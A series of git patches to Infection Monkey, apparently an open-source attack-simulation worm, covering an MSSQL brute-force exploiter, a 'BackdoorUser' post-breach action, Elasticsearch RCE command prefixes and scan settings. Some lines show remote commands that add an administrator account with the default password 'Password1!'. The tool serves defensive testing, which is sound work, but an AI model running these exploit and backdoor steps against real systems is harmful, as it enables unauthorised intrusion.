Date: Mon, 22 Oct 2018 16:34:23 +0300 Subject: [PATCH 10/25] cleared old files --- monkey/infection_monkey/exploit/__init__.py | 2 +- .../infection_monkey}/exploit/mssqlexec.py | 0 .../infection_monkey}/exploit/mssqlexec_utils.py | 0 3 files changed, 1 insertion(+), 1 deletion(-) rename {infection_monkey => monkey/infection_monkey}/exploit/mssqlexec.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/mssqlexec_utils.py (100%) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index bad6780eb..9ea2bcc75 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -45,4 +45,4 @@ from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.hadoop import HadoopExploiter -from mssqlexec import MSSQLExploiter \ No newline at end of file +from infection_monkey.exploit.mssqlexec import MSSQLExploiter diff --git a/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py similarity index 100% rename from infection_monkey/exploit/mssqlexec.py rename to monkey/infection_monkey/exploit/mssqlexec.py diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py similarity index 100% rename from infection_monkey/exploit/mssqlexec_utils.py rename to monkey/infection_monkey/exploit/mssqlexec_utils.py From 3e90b6d49585a22a1f919270d9236a6146b64efa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 22 Oct 2018 17:09:57 +0300 Subject: [PATCH 11/25] fixed imports --- monkey/infection_monkey/exploit/mssqlexec.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 590741428..f527c1e73 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -3,8 +3,7 @@ import logging import pymssql -import mssqlexec_utils -from exploit import HostExploiter +from exploit import HostExploiter, mssqlexec_utils __author__ = 'Maor Rayzin' From f547b23ef84f4c24577d8f28b0b132d993ad6c0a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 23 Oct 2018 11:50:24 +0300 Subject: [PATCH 12/25] imports fix --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/mssqlexec_utils.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index f527c1e73..5c3c92600 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -3,7 +3,7 @@ import logging import pymssql -from exploit import HostExploiter, mssqlexec_utils +from infection_monkey.exploit import HostExploiter, mssqlexec_utils __author__ = 'Maor Rayzin' diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py index 2089047bb..ab8b88e60 100644 --- a/monkey/infection_monkey/exploit/mssqlexec_utils.py +++ b/monkey/infection_monkey/exploit/mssqlexec_utils.py @@ -4,7 +4,7 @@ import logging import pymssql -from exploit.tools import get_interface_to_target +from infection_monkey.exploit.tools import get_interface_to_target from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer From 3ca5119e03175dfc9383b9e7c963371674ca2a3b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:25:47 +0200 Subject: [PATCH 13/25] Remove debug print on what users/passwords to try --- monkey/infection_monkey/network/network_scanner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 2ccdfe74c..8fd8c2b65 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -106,8 +106,8 @@ class NetworkScanner(object): break - if SCAN_DELAY: - time.sleep(SCAN_DELAY) + if WormConfiguration.tcp_scan_interval: + time.sleep(WormConfiguration.tcp_scan_interval) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): From 43896ed7183090bf808af4bc9d78bdfba89f886c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:27:57 +0200 Subject: [PATCH 14/25] Set default scan interval to 0 --- monkey/infection_monkey/config.py | 2 +- monkey/infection_monkey/example.conf | 2 +- monkey/monkey_island/cc/services/config_schema.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..28c9c249f 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -193,7 +193,7 @@ class Configuration(object): 9200] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds - tcp_scan_interval = 200 + tcp_scan_interval = 0 tcp_scan_get_banner = True # Ping Scanner diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..e81029b79 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -79,7 +79,7 @@ "sambacry_shares_not_to_check": ["IPC$", "print$"], "local_network_scan": false, "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, + "tcp_scan_interval": 0, "tcp_scan_timeout": 10000, "tcp_target_ports": [ 22, diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..8704cbf19 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -817,7 +817,7 @@ SCHEMA = { "tcp_scan_interval": { "title": "TCP scan interval", "type": "integer", - "default": 200, + "default": 0, "description": "Time to sleep (in milliseconds) between scans" }, "tcp_scan_timeout": { From d3a42792fb0605049c9d987cb2a7b6828fe45a0d Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 18:41:56 +0200 Subject: [PATCH 15/25] Remove dead line of code in config.py --- monkey/infection_monkey/config.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..74a98feb1 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -7,8 +7,6 @@ from abc import ABCMeta from itertools import product import importlib -importlib.import_module('infection_monkey', 'network') - __author__ = 'itamar' GUID = str(uuid.getnode()) From 077d5365266536685a3fd9d3846465e2167a89cb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:03 +0200 Subject: [PATCH 16/25] Add missing dependency --- monkey/infection_monkey/requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index 468b748e8..e08cbf4ca 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -14,4 +14,5 @@ six ecdsa netifaces ipaddress -wmi \ No newline at end of file +wmi +pywin32 \ No newline at end of file From 382b95c75d13f8d3129669cf1784cd9e6cd4d65b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 18:26:46 +0200 Subject: [PATCH 17/25] Add option for post breach actions to configuration --- monkey/infection_monkey/config.py | 6 +++++ monkey/infection_monkey/example.conf | 3 ++- .../cc/services/config_schema.py | 27 ++++++++++++++++++- 3 files changed, 34 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 74a98feb1..6234cd9ff 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,6 +20,7 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') + post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -39,6 +40,9 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) + elif key == 'post_breach_actions': + class_objects = [getattr(post_breach_import, val) for val in value] + setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -266,5 +270,7 @@ class Configuration(object): extract_azure_creds = True + post_breach_actions = [] + WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..0bdcc0eb2 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -97,5 +97,6 @@ "timeout_between_iterations": 10, "use_file_logging": true, "victims_max_exploit": 7, - "victims_max_find": 30 + "victims_max_find": 30, + "post_breach_actions" : [] } diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..0a1ca24d6 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -88,6 +88,19 @@ SCHEMA = { } ] }, + "post_breach_acts": { + "title": "Post breach actions", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "BackdoorUser" + ], + "title": "Back door user", + }, + ], + }, "finger_classes": { "title": "Fingerprint class", "type": "string", @@ -276,7 +289,19 @@ SCHEMA = { "type": "boolean", "default": True, "description": "Is the monkey alive" - } + }, + "post_breach_actions": { + "title": "Post breach actions", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/post_breach_acts" + }, + "default": [ + "BackdoorUser", + ], + "description": "List of actions the Monkey will run post breach" + }, } }, "behaviour": { From 95a2a0e4284cf2a7c94771e43a4e2781ea4cfc63 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:26 +0200 Subject: [PATCH 18/25] Add backdoor user functionality to Monkey itself. The backdoor user is purposefully disabled --- .../infection_monkey/post_breach/__init__.py | 4 ++ .../infection_monkey/post_breach/add_user.py | 49 +++++++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 monkey/infection_monkey/post_breach/__init__.py create mode 100644 monkey/infection_monkey/post_breach/add_user.py diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py new file mode 100644 index 000000000..3faa2233e --- /dev/null +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -0,0 +1,4 @@ +__author__ = 'danielg' + + +from add_user import BackdoorUser \ No newline at end of file diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py new file mode 100644 index 000000000..8551382b7 --- /dev/null +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -0,0 +1,49 @@ +import datetime +import logging +import subprocess +import sys +from infection_monkey.config import WormConfiguration + +LOG = logging.getLogger(__name__) + +# Linux doesn't have WindowsError +try: + WindowsError +except NameError: + WindowsError = None + +__author__ = 'danielg' + + +class BackdoorUser(object): + """ + This module adds a disabled user to the system. + This tests part of the ATT&CK matrix + """ + + def act(self): + LOG.info("Adding a user") + if sys.platform.startswith("win"): + retval = self.add_user_windows() + else: + retval = self.add_user_linux() + if retval != 0: + LOG.warn("Failed to add a user") + else: + LOG.info("Done adding user") + + @staticmethod + def add_user_linux(): + cmd_line = ['useradd', '-M', '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', + WormConfiguration.ms08_067_remote_user_add] + retval = subprocess.call(cmd_line) + return retval + + @staticmethod + def add_user_windows(): + cmd_line = ['net', 'user', WormConfiguration.ms08_067_remote_user_add, + WormConfiguration.ms08_067_remote_user_pass, + '/add', '/ACTIVE:NO'] + retval = subprocess.call(cmd_line) + return retval From 7b5604a0de095692b3d24e680bfc60b20c6fe633 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:42 +0200 Subject: [PATCH 19/25] Make post breach actions happen in the monkey --- monkey/infection_monkey/monkey.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 30eb57f1c..4d5bdf7dc 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -109,6 +109,10 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) + for action_class in WormConfiguration.post_breach_actions: + action = action_class() + action.act() + if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") From 68093d084f1867ae252a9e76bee6b3cd51cb4673 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 7 Jan 2019 10:58:20 +0200 Subject: [PATCH 20/25] Rename ms08_067_remote_user_add and ms08_067_remote_user_pass to something more generic --- monkey/infection_monkey/config.py | 4 ++-- monkey/infection_monkey/example.conf | 4 ++-- monkey/infection_monkey/exploit/win_ms08_067.py | 12 ++++++------ monkey/infection_monkey/post_breach/add_user.py | 6 +++--- .../system_info/windows_info_collector.py | 2 +- monkey/monkey_island/cc/services/config_schema.py | 8 ++++---- 6 files changed, 18 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8bf407d84..839a17018 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -208,8 +208,8 @@ class Configuration(object): skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 - ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" - ms08_067_remote_user_pass = "Password1!" + user_to_add = "Monkey_IUSER_SUPPORT" + remote_user_pass = "Password1!" # rdp exploiter rdp_use_vbs_download = True diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 66988720a..594ee62c7 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -57,8 +57,8 @@ "monkey_log_path_linux": "/tmp/user-1563", "send_log_to_server": true, "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT", + "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, "rdp_use_vbs_download": true, "smb_download_timeout": 300, diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 9f8837157..41b3820d5 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter): sock.send("cmd /c (net user %s %s /add) &&" " (net localgroup administrators %s /add)\r\n" % - (self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass, - self._config.ms08_067_remote_user_add)) + (self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add)) time.sleep(2) reply = sock.recv(1000) @@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter): remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path_win_32, - self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass) + self._config.user_to_add, + self._config.remote_user_pass) if not remote_full_path: # try other passwords for administrator @@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter): try: sock.send("start %s\r\n" % (cmdline,)) - sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) + sock.send("net user %s /delete\r\n" % (self._config.user_to_add,)) except Exception as exc: LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) return False diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py index 8551382b7..b8cb9a027 100644 --- a/monkey/infection_monkey/post_breach/add_user.py +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -36,14 +36,14 @@ class BackdoorUser(object): def add_user_linux(): cmd_line = ['useradd', '-M', '--expiredate', datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.ms08_067_remote_user_add] + WormConfiguration.user_to_add] retval = subprocess.call(cmd_line) return retval @staticmethod def add_user_windows(): - cmd_line = ['net', 'user', WormConfiguration.ms08_067_remote_user_add, - WormConfiguration.ms08_067_remote_user_pass, + cmd_line = ['net', 'user', WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass, '/add', '/ACTIVE:NO'] retval = subprocess.call(cmd_line) return retval diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 1348a6fcb..7c3739a0f 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -36,7 +36,7 @@ class WindowsInfoCollector(InfoCollector): """ LOG.debug("Running Windows collector") super(WindowsInfoCollector, self).get_info() - self.get_wmi_info() + #self.get_wmi_info() self.get_installed_packages() from infection_monkey.config import WormConfiguration if WormConfiguration.should_use_mimikatz: diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index e9d2ad2ce..52d829abf 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -701,14 +701,14 @@ SCHEMA = { "default": 5, "description": "Number of attempts to exploit using MS08_067" }, - "ms08_067_remote_user_add": { - "title": "MS08_067 remote user", + "user_to_add": { + "title": "Remote user", "type": "string", "default": "Monkey_IUSER_SUPPORT", "description": "Username to add on successful exploit" }, - "ms08_067_remote_user_pass": { - "title": "MS08_067 remote user password", + "remote_user_pass": { + "title": "Remote user password", "type": "string", "default": "Password1!", "description": "Password to use for created user" From 0bfde8d047eaac89878e08b853a2654881bc9610 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 7 Jan 2019 18:11:31 +0200 Subject: [PATCH 21/25] - adjusted config to mssql exploiter. --- monkey/monkey_island/cc/services/config_schema.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 52d829abf..2b789c1e6 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -23,6 +23,13 @@ SCHEMA = { ], "title": "WMI Exploiter" }, + { + "type": "string", + "enum": [ + "MSSQLExploiter" + ], + "title": "MSSQL Exploiter" + }, { "type": "string", "enum": [ @@ -670,6 +677,7 @@ SCHEMA = { "default": [ "SmbExploiter", "WmiExploiter", + "MSSQLExploiter", "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", From c47047c815da8dd8367dcc3223ca4580f430af9c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 16 Jan 2019 16:15:18 +0200 Subject: [PATCH 22/25] Added CMD prefix to windows commands that check for exploitability and upload monkey. --- .../infection_monkey/exploit/elasticgroovy.py | 21 +++++++++++++++++-- monkey/infection_monkey/model/__init__.py | 2 ++ 2 files changed, 21 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 9eb64682b..2de001ba3 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP +from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE import re @@ -34,7 +34,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): @@ -63,3 +63,20 @@ class ElasticGroovyExploiter(WebRCE): return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] except (KeyError, IndexError): return None + + def check_if_exploitable(self, url): + # Overridden web_rce method that adds CMD prefix for windows command + try: + if 'windows' in self.host.os['type']: + resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND) + else: + resp = self.exploit(url, CHECK_COMMAND) + if resp is True: + return True + elif resp is not False and ID_STRING in resp: + return True + else: + return False + except Exception as e: + LOG.error("Host's exploitability check failed due to: %s" % e) + return False \ No newline at end of file diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 35a63f2a2..e6c2e63a5 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -24,6 +24,8 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING +# CMD prefix for windows commands +CMD_PREFIX = "cmd.exe /c" # Architecture checking commands GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_LINUX = "lscpu" From dfe6cf073ed241d4ea07358fe79029a3544f962d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 20 Jan 2019 15:13:48 +0200 Subject: [PATCH 23/25] - Added dynamic file creation on runtime instead of a static payload file --- monkey/infection_monkey/exploit/mssqlexec.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 5c3c92600..1ffbd973e 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -22,6 +22,21 @@ class MSSQLExploiter(HostExploiter): self._config = __import__('config').WormConfiguration self.attacks_list = [mssqlexec_utils.CmdShellAttack] + @staticmethod + def create_payload_file(payload_path=DEFAULT_PAYLOAD_PATH): + """ + This function creates dynamically the payload file to be transported and ran on the exploited machine. + :param payload_path: A path to the create the payload file in + :return: True if the payload file was created and false otherwise. + """ + try: + with open(payload_path, 'w+') as payload_file: + payload_file.write('dir C:\\') + return True + except Exception as e: + LOG.error("Payload file couldn't be created", exec_info=True) + return False + def exploit_host(self): """ Main function of the mssql brute force @@ -29,6 +44,9 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + + if not MSSQLExploiter.create_payload_file(): + return False if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, self.DEFAULT_PAYLOAD_PATH): LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) From 9e0fbdaac3cc703c5e396d080a664370545da6ea Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 20 Jan 2019 16:09:40 +0200 Subject: [PATCH 24/25] - Updated dynamic payload file creation --- monkey/infection_monkey/exploit/mssqlexec.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 1ffbd973e..985394a29 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,3 +1,5 @@ +import os +import platform from os import path import logging @@ -15,15 +17,14 @@ class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH = path.abspath(r'.monkey_utils\payloads\mssqlexec_payload.bat') + DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat' def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.attacks_list = [mssqlexec_utils.CmdShellAttack] - @staticmethod - def create_payload_file(payload_path=DEFAULT_PAYLOAD_PATH): + def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH): """ This function creates dynamically the payload file to be transported and ran on the exploited machine. :param payload_path: A path to the create the payload file in @@ -34,7 +35,7 @@ class MSSQLExploiter(HostExploiter): payload_file.write('dir C:\\') return True except Exception as e: - LOG.error("Payload file couldn't be created", exec_info=True) + LOG.error("Payload file couldn't be created", exc_info=True) return False def exploit_host(self): @@ -45,7 +46,7 @@ class MSSQLExploiter(HostExploiter): """ username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - if not MSSQLExploiter.create_payload_file(): + if not self.create_payload_file(): return False if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, self.DEFAULT_PAYLOAD_PATH): From c38793b52740a70cc84391d1181291d2cac742c5 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 23 Jan 2019 13:59:00 +0200 Subject: [PATCH 25/25] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index a53eb9c5b..6ab6813ce 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,8 @@ Setup ------------------------------- Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/). +The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility). + Building the Monkey from source -------------------------------